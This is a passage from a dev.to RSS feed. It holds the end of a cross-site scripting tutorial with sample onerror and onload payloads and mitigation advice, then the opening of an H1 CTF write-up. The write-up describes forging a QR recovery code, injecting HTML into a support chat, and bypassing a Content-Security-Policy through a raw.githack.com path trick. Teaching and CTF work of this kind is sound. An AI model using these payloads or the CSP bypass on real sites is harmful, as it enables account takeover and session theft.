"&amp;gt;&lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;x&lt;/span&gt; &lt;span class="na"&gt;onerror=&lt;/span&gt;&lt;span class="s"&gt;prompt&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt; // a bit more covert, executes JavaScript using error handlers
&lt;span class="nt"&gt;&amp;lt;body&lt;/span&gt; &lt;span class="na"&gt;onload=&lt;/span&gt;&lt;span class="s"&gt;alert(1)/&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt; // executes using event handlers

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;h2&gt;
  
  
  &lt;center&gt;Impact&lt;/center&gt;
&lt;/h2&gt;

&lt;p&gt;Evaluating the impact of &lt;code&gt;xss&lt;/code&gt; like other vulnerabilities comes down to where the vulnerability is in the application and how hard it is to fire an attack. &lt;code&gt;Reflected xss&lt;/code&gt; is typically lower than &lt;code&gt;stored xss&lt;/code&gt; since the latter does not require any interaction, while &lt;code&gt;reflected xss&lt;/code&gt; needs the victim to click a link sent by an attacker - this might be done using phishing techniques. &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Account Hijacking

&lt;ul&gt;
&lt;li&gt;If the attacker is able to steal the victim's cookies the attacker might be able to hijack the session by impersonating the victim&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Defacement

&lt;ul&gt;
&lt;li&gt;If the attacker can inject &lt;code&gt;JavaScript&lt;/code&gt; changing the &lt;code&gt;DOM&lt;/code&gt; is possible, also if just &lt;code&gt;html&lt;/code&gt; injection is achieved this also applies&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;li&gt;Information Disclosure

&lt;ul&gt;
&lt;li&gt;If sensitive information is stored in clientside &lt;code&gt;JavaScript&lt;/code&gt; it can be exfiltrated a number of ways&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  &lt;center&gt;Mitigation&lt;/center&gt;
&lt;/h2&gt;

&lt;p&gt;If we only break stuff it means we are only doing half of our job, we also have to provide ways to mitigate the vulnerability.&lt;/p&gt;

&lt;p&gt;To mitigate &lt;code&gt;xss&lt;/code&gt; developers should:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Identify all places user provided input is used in the application&lt;/li&gt;
&lt;li&gt;Escape characters that will allow injection such as &lt;code&gt;&amp;lt;&lt;/code&gt;,&lt;code&gt;&amp;gt;&lt;/code&gt;,&lt;code&gt;/&lt;/code&gt;,&lt;code&gt;"&lt;/code&gt;,&lt;code&gt;'&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Output should be encoded everywhere user input is displayed&lt;/li&gt;
&lt;li&gt;Filter and validate user input as strictly as possible&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;HTTP&lt;/code&gt; headers to your advantage including &lt;code&gt;Content Secure Policy&lt;/code&gt; to restrict access to sources such as external scripts &lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>hacking</category>
    </item>
    <item>
      <title>wow, that was cosmic</title>
      <dc:creator>pirateducky</dc:creator>
      <pubDate>Thu, 23 Jan 2020 16:52:57 +0000</pubDate>
      <link>https://dev.to/pirateducky/wow-that-was-cosmic-5gl9</link>
      <guid>https://dev.to/pirateducky/wow-that-was-cosmic-5gl9</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Pk41_AVT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/oejm5tebyawoirqr24jy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Pk41_AVT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/oejm5tebyawoirqr24jy.png" alt="Alt Text" width="880" height="395"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before I start I just want to thank &lt;a href="https://twitter.com/checkm50"&gt;@checkm50&lt;/a&gt; &amp;amp; &lt;a href="https://twitter.com/AlMadjus"&gt;@al-madjus&lt;/a&gt; for including me in the team. #TogetherWeHitHarder&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;tldr;&lt;/strong&gt; Account take over =&amp;gt; CSP bypass to execute &lt;code&gt;javascript&lt;/code&gt; =&amp;gt; IDOR =&amp;gt; Access to internal network =&amp;gt; access to &lt;code&gt;debugging&lt;/code&gt; on headless Chrome.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://hackerone.com/reports/781253"&gt;Original Report Submitted&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This was the beginning of the of the &lt;code&gt;H1 CTF&lt;/code&gt; - last year I didn't get far on my own so this year I collaborated with 2 awesome hackers &lt;a href="https://twitter.com/checkm50"&gt;@checkm50&lt;/a&gt; &amp;amp; &lt;a href="https://twitter.com/AlMadjus"&gt;@al-madjus&lt;/a&gt; we spent &lt;em&gt;days&lt;/em&gt; trying to figure out how to get this done - thankful for being able to bounce ideas back and forth with them, this write up explains how we went from &lt;code&gt;account takeover&lt;/code&gt; to infiltrating the internal network and accessing &lt;code&gt;debugging&lt;/code&gt; endpoints on a &lt;code&gt;headless google chrome&lt;/code&gt; instance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Application mapping
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Description&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Application allows users to sign up for a trial in which they can convert images into pdf files, on signup you also receive a &lt;code&gt;QR&lt;/code&gt; code for account recovery. The initial account does not have access to &lt;code&gt;/support&lt;/code&gt; which requires a full account, when generating pdfs the user's name is pulled from the application and used in the finished pdf, &lt;code&gt;/settings&lt;/code&gt; allows to edit the user's name. &lt;/p&gt;

&lt;h3&gt;
  
  
  Account Takeover
&lt;/h3&gt;

&lt;p&gt;To create an account you need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;name&lt;/li&gt;
&lt;li&gt;email&lt;/li&gt;
&lt;li&gt;username&lt;/li&gt;
&lt;li&gt;password&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once you do that, the &lt;code&gt;back-end&lt;/code&gt; generates a &lt;code&gt;QR&lt;/code&gt; code that can be used for account recovery, if you decode the &lt;code&gt;QR&lt;/code&gt; code you can see that it has the following format: &lt;code&gt;email:hash&lt;/code&gt; at this point the idea was to somehow register an account with some invalid characters that would get stripped right before the &lt;code&gt;QR&lt;/code&gt; generation function, if this happens we could basically register the email &lt;code&gt;jobert@mydocz.cosmic{}&amp;lt;&amp;gt;&lt;/code&gt; the extra characters would get stripped and we could obtain a valid &lt;code&gt;QR&lt;/code&gt; for the account &lt;code&gt;jobert@mydocz.cosmic&lt;/code&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--h5zXGRQT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/v7wnfzc35s11kwq8mojx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--h5zXGRQT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/v7wnfzc35s11kwq8mojx.png" alt="Alt Text" width="250" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We found the &lt;code&gt;jobert@mydocz.cosmic&lt;/code&gt; email when doing initial recon - it was left behind in the review section of the sign-in screen. &lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So now we could log into &lt;code&gt;jobert's&lt;/code&gt; account using the &lt;code&gt;/recover&lt;/code&gt; endpoint and our forged &lt;code&gt;QR&lt;/code&gt; code, however the account could not upload any documents, but we did have access to the &lt;code&gt;/support&lt;/code&gt; page which had a chat, once we initiated conversation with the &lt;code&gt;bot&lt;/code&gt; we noticed that we could inject html, using &lt;code&gt;webhook.site&lt;/code&gt; we tested this by trying to request an image - it worked. Can we execute &lt;code&gt;JavaScript&lt;/code&gt;? Enter &lt;code&gt;CSP&lt;/code&gt; policy.&lt;/p&gt;

&lt;h3&gt;
  
  
  CSP || GTFO
&lt;/h3&gt;

&lt;p&gt;When we tried to execute &lt;code&gt;javascript&lt;/code&gt; we noticed the following &lt;code&gt;CSP&lt;/code&gt; policy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Security-Policy: 
default-src 'self'; 
object-src 'none'; 
script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/; 
img-src data: *
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we can't execute any &lt;code&gt;scripts&lt;/code&gt; unless they come from &lt;code&gt;https://raw.githack.com/mattboldt/typed.js/master/lib/&lt;/code&gt; great - now to look for a bypass, after a long time we found the bypass by using &lt;code&gt;https://raw.githack.com/mattboldt/typed.js/master/lib/@https://github.com/username/repo_name/master/file_name.js&lt;/code&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;You have to remove the &lt;code&gt;/blob/&lt;/code&gt; path from your github for this to work&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;this allowed us to run &lt;code&gt;scripts&lt;/code&gt; and bypass &lt;code&gt;CSP&lt;/code&gt;, so what's next?&lt;/p&gt;

&lt;h3&gt;
  
  
  Let me speak to your manager
&lt;/h3&gt;

&lt;p&gt;When we did the &lt;code&gt;ATO&lt;/code&gt; for &lt;code&gt;jobert&lt;/code&gt; we noticed that support was available, so I look into what was being loaded:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;showReviewModal&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#review-modal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;modal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;show&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#star-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;removeClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;checked&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#review-button&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;disabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nx"&gt;rating&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;.review-star&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;rating&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;rating&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nx"&gt;rating&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#star-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;addClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;checked&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;rating&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#star-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;removeClass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;checked&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#rating-input&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rating&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;rating&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#report-message&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;We're sorry about that. Our team will review this conversation shortly.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#review-button&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;disabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-form&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}),&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-form&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;preventDefault&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-textarea&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;finish&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;quit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;toLowerCase&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-textarea&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;val&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;""&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-button&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;disabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-div&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;decodeURIComponent&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;&amp;lt;h3&amp;gt;&amp;lt;span class="badge badge-primary"&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;&amp;lt;/span&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="nb"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;scrollHeight&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;/support/chat?message=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;t&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="nx"&gt;showTypedMessages&lt;/span&gt;&lt;span class="p"&gt;([(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;json&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-button&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;attr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;disabled&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-textarea&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nx"&gt;showReviewModal&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="nx"&gt;showTypedMessages&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Hello!&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;How can I help you?&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="nx"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;#chat-textarea&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;focus&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



